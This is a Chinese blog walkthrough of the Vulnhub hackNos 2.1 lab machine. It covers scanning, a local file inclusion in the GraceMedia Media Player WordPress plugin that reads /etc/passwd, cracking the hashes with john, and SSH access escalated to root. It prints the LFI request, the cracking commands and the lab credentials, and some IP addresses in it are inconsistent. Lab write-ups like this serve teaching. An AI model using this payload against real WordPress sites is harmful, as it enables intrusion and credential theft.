hackme:2.1

本文详细介绍了如何通过Vulnhub下载的HackNos2.1靶机进行渗透测试,包括主机发现、端口扫描、WordPress插件漏洞利用、密码破解以及获取root权限的过程。最终通过插件GraceMediaMediaPlayer的LFI漏洞获取了/etc/passwd,使用john破解密码并成功登录SSH成为root用户。
摘要由CSDN通过智能技术生成

Vulnhub靶机下载:

官网地址:https://download.vulnhub.com/hacknos/Os-hackNos-2.1.ova

测试机系统:kali、win10

测试机IP:192.168.3.140

kali:192.168.3.136

一、信息收集

1.主机发现

arp-scan -l    #因为用的桥接,所以能扫描到别的主机

这里可以打开虚拟机设置,通过网卡来找到主机

发现靶机IP:192.168.3.220

2.端口扫描

步骤一:通过浏览器访问80端口发现为Apache安装默认页面使用dirsearch进行目录扫描...发现tsweb目录为WordPress站点...

git clone git://github.com/maurosoria/dirsearch    //dirsearch项目地址
 
dirsearch -u http://192.168.1.213/       或者
./dirsearch.py -u http://192.168.213/           // 进入dirsearch目录输入这条命令

得到一个http://192.168.5.133/tsweb/,在浏览器中访问它

步骤二:使用wpscan工具进行漏洞扫描...

wpscan --url http://192.168.3.220/tsweb -e ap

步骤三:通过以上的扫描结果到Exploit-DB中进行查找漏洞利用方法,可以查看该漏洞可以查看具有此漏洞机器上的passwd文件内容

发现有漏洞的插件GraceMedia Media Player

https://www.exploit-db.com/exploits/46537     //漏洞地址
The following URL have been confirmed that is vulnerable to local file
inclusion.

浏览器访问:http://192.168.3.220/tsweb/wp-content/plugins/gracemedia-media-player/


打开readme.txt

Local File Inclusion POC:

GET
/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd

将GET下面的字符串拼接在网页后面

得到flag:$1$flag$vqjCxzjtRc7PofLYS2lWf/:1001:1003::/home/flag:/bin/rbash
john /root/桌面/1.txt --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt

攻击目标主机-->通过WP的插件漏洞获取到目标的/etc/passwd文件内容且存在flag用户-->使用john进行密码加密值的破解成功并登录

flag/topsecret 
ssh flag@192.168.3.220
成功登录
Could not chdir to home directory /home/flag: No such file or directory
flag@hacknos:/$ 

cat /etc/passwd | grep bash
cat /var/backups/passbkp/md5-hash

flag@hacknos:/$ cat /etc/passwd |grep bash
root:x:0:0:root:/root:/bin/bash
rohit:x:1000:1000:hackNos:/home/rohit:/bin/bash
flag:$1$flag$vqjCxzjtRc7PofLYS2lWf/:1001:1003::/home/flag:/bin/rbash
flag@hacknos:/$ cat /var/backups/passbkp/md5-hash
$1$rohit$01Dl0NQKtgfeL08fGrggi0
flag@hacknos:/$ 
得到$1$rohit$01Dl0NQKtgfeL08fGrggi0

步骤七:对rohit用户进行解密...并获取密码!%hack41 切换到rohit用户...

将$1$rohit$01Dl0NQKtgfeL08fGrggi0写入文档中

 john test2 --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt  
得到:
rohit/!%hack41
直接远程连接
ssh rohit@192.18.3.220

sudo su   #切换root权限
ls 
cat user.txt

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值